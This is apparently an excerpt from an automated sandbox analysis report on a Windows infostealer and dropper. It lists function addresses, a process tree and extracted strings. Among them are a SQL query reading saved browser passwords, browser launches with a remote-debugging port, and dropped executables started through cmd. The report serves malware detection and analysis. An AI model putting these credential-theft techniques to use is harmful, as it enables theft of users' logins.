Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C704DB0	0_2_6C704DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C82AD50	0_2_6C82AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C796D90	0_2_6C796D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C79EE70	0_2_6C79EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E0E20	0_2_6C7E0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70AEC0	0_2_6C70AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A0EC0	0_2_6C7A0EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C786E90	0_2_6C786E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7C2F70	0_2_6C7C2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C848FB0	0_2_6C848FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76EF40	0_2_6C76EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C706F10	0_2_6C706F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DEFF0	0_2_6C7DEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C700FE0	0_2_6C700FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C840F20	0_2_6C840F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70EFB0	0_2_6C70EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D4840	0_2_6C7D4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C750820	0_2_6C750820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78A820	0_2_6C78A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8068E0	0_2_6C8068E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C738960	0_2_6C738960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C81C9E0	0_2_6C81C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C756900	0_2_6C756900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7349F0	0_2_6C7349F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7C09B0	0_2_6C7C09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7909A0	0_2_6C7909A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BA9A0	0_2_6C7BA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C77CA70	0_2_6C77CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B8A30	0_2_6C7B8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7AEA00	0_2_6C7AEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C77EA80	0_2_6C77EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C806BE0	0_2_6C806BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A0BA0	0_2_6C7A0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C82A480	0_2_6C82A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C718460	0_2_6C718460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78A430	0_2_6C78A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C764420	0_2_6C764420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7464D0	0_2_6C7464D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C79A4D0	0_2_6C79A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A0570	0_2_6C7A0570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C762560	0_2_6C762560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C758540	0_2_6C758540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78E5F0	0_2_6C78E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CA5E0	0_2_6C7CA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C804540	0_2_6C804540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C848550	0_2_6C848550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F45B0	0_2_6C6F45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75C650	0_2_6C75C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75E6E0	0_2_6C75E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C79E6E0	0_2_6C79E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7246D0	0_2_6C7246D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C780700	0_2_6C780700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72A7D0	0_2_6C72A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74E070	0_2_6C74E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7C8010	0_2_6C7C8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CC000	0_2_6C7CC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7100B0	0_2_6C7100B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DC0B0	0_2_6C7DC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F8090	0_2_6C6F8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C768140	0_2_6C768140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C776130	0_2_6C776130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E4130	0_2_6C7E4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7001E0	0_2_6C7001E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C788260	0_2_6C788260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C798250	0_2_6C798250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8862C0	0_2_6C8862C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D8220	0_2_6C7D8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CA210	0_2_6C7CA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CE2B0	0_2_6C7CE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D22A0	0_2_6C7D22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C702370	0_2_6C702370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C796370	0_2_6C796370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C708340	0_2_6C708340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C772320	0_2_6C772320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7543E0	0_2_6C7543E0
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Code function: 20_2_00628860	20_2_00628860
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Code function: 20_2_00627049	20_2_00627049
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Code function: 20_2_006278BB	20_2_006278BB
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Code function: 20_2_006231A8	20_2_006231A8
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Code function: 20_2_005E4B30	20_2_005E4B30
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Code function: 20_2_00622D10	20_2_00622D10
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Code function: 20_2_005E4DE0	20_2_005E4DE0
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Code function: 20_2_00617F36	20_2_00617F36
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Code function: 20_2_0062779B	20_2_0062779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_008F78BB	21_2_008F78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_008F7049	21_2_008F7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_008F8860	21_2_008F8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_008F31A8	21_2_008F31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_008B4B30	21_2_008B4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_008B4DE0	21_2_008B4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_008F2D10	21_2_008F2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_008F779B	21_2_008F779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_008E7F36	21_2_008E7F36

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C729B10 appears 51 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C68CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C88D930 appears 40 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6994D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C723620 appears 54 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C8809D0 appears 222 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C88DAE0 appears 49 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 008C80C0 appears 130 times
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Code function: String function: 005F80C0 appears 130 times

Source: file.exe, 00000000.00000002.2438229318.000000006C8D5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: mmgyxokd ZLIB complexity 0.9948913375407166
Source: random[1].exe.23.dr	Static PE information: Section: mmgyxokd ZLIB complexity 0.9948913375407166
Source: f0388bf2aa.exe.23.dr	Static PE information: Section: mmgyxokd ZLIB complexity 0.9948913375407166

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@86/323@26/28

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C6B7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\CPK65020.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7484:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\8fe5c202-79f9-4cd6-abb9-1d9b4db7adc3.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2427280179.000000001DB9D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2438078320.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2436880997.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2427280179.000000001DB9D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2438078320.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2436880997.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2427280179.000000001DB9D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2438078320.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2436880997.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2427280179.000000001DB9D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2438078320.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2436880997.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2411681140.000000000194E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT origin_url, username_value, password_value FROM logins;
Source: file.exe, file.exe, 00000000.00000002.2427280179.000000001DB9D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2438078320.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2436880997.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2427280179.000000001DB9D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2436880997.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2427280179.000000001DB9D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2438078320.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2436880997.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2198634473.000000001DA95000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2278997125.000000001DAB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2427280179.000000001DB9D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2436880997.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2427280179.000000001DB9D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2436880997.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

Virustotal: Detection: 42%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsKKFHJJDHJE.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2656 --field-trial-handle=2468,i,9010662023818967337,633821691604264158,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2384 --field-trial-handle=2272,i,4234674185998409260,14968440290585213701,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2956 --field-trial-handle=2372,i,11112093602853400698,17986808643466300241,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7268 --field-trial-handle=2372,i,11112093602853400698,17986808643466300241,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=5360 --field-trial-handle=2372,i,11112093602853400698,17986808643466300241,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKKFHJJDHJE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsKKFHJJDHJE.exe "C:\Users\user\DocumentsKKFHJJDHJE.exe"
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe "C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7120 --field-trial-handle=2372,i,11112093602853400698,17986808643466300241,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe "C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe "C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe "C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe "C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe "C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6316 --field-trial-handle=2372,i,11112093602853400698,17986808643466300241,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKKFHJJDHJE.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2656 --field-trial-handle=2468,i,9010662023818967337,633821691604264158,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2384 --field-trial-handle=2272,i,4234674185998409260,14968440290585213701,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2956 --field-trial-handle=2372,i,11112093602853400698,17986808643466300241,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7268 --field-trial-handle=2372,i,11112093602853400698,17986808643466300241,262144 /prefetch:8	Jump to behavior
